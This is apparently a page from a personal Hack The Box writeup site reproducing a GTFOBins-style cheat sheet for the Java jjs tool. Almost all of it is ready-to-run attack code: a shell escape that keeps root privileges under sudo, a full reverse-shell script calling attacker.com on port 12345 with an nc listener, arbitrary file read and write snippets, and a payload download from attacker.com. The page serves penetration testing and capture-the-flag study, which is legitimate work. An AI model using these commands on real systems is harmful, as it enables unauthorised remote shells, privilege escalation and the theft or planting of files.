~/bokkapig
hack the box machine writeups
← cd ..

jjs

CommentThis tool is installed starting with Java SE 8.

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    jjsJava.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jjsJava.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    jjsvar host='attacker.com';var port=12345;var ProcessBuilder = Java.type('java.lang.ProcessBuilder');var p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();var Socket = Java.type('java.net.Socket');var s=new Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jjsvar host='attacker.com';var port=12345;var ProcessBuilder = Java.type('java.lang.ProcessBuilder');var p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();var Socket = Java.type('java.net.Socket');var s=new Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    jjsvar FileWriter = Java.type('java.io.FileWriter');var fw=new FileWriter('/path/to/output-file');fw.write('DATA');fw.close();
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jjsvar FileWriter = Java.type('java.io.FileWriter');var fw=new FileWriter('/path/to/output-file');fw.write('DATA');fw.close();

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    jjsvar BufferedReader = Java.type('java.io.BufferedReader');var FileReader = Java.type('java.io.FileReader');var br = new BufferedReader(new FileReader('/path/to/input-file'));while ((line = br.readLine()) != null) { print(line); }
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jjsvar BufferedReader = Java.type('java.io.BufferedReader');var FileReader = Java.type('java.io.FileReader');var br = new BufferedReader(new FileReader('/path/to/input-file'));while ((line = br.readLine()) != null) { print(line); }

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    jjsvar URL = Java.type('java.net.URL');var ws = new URL('http://attacker.com/path/to/input-file');var Channels = Java.type('java.nio.channels.Channels');var rbc = Channels.newChannel(ws.openStream());var FileOutputStream = Java.type('java.io.FileOutputStream');var fos = new FileOutputStream('/path/to/output-file');fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);fos.close();rbc.close();
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    jjsvar URL = Java.type('java.net.URL');var ws = new URL('http://attacker.com/path/to/input-file');var Channels = Java.type('java.nio.channels.Channels');var rbc = Channels.newChannel(ws.openStream());var FileOutputStream = Java.type('java.io.FileOutputStream');var fos = new FileOutputStream('/path/to/output-file');fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);fos.close();rbc.close();
    SenderAn HTTP server can be used on the attacker box to send the data.
    python -m http.server 80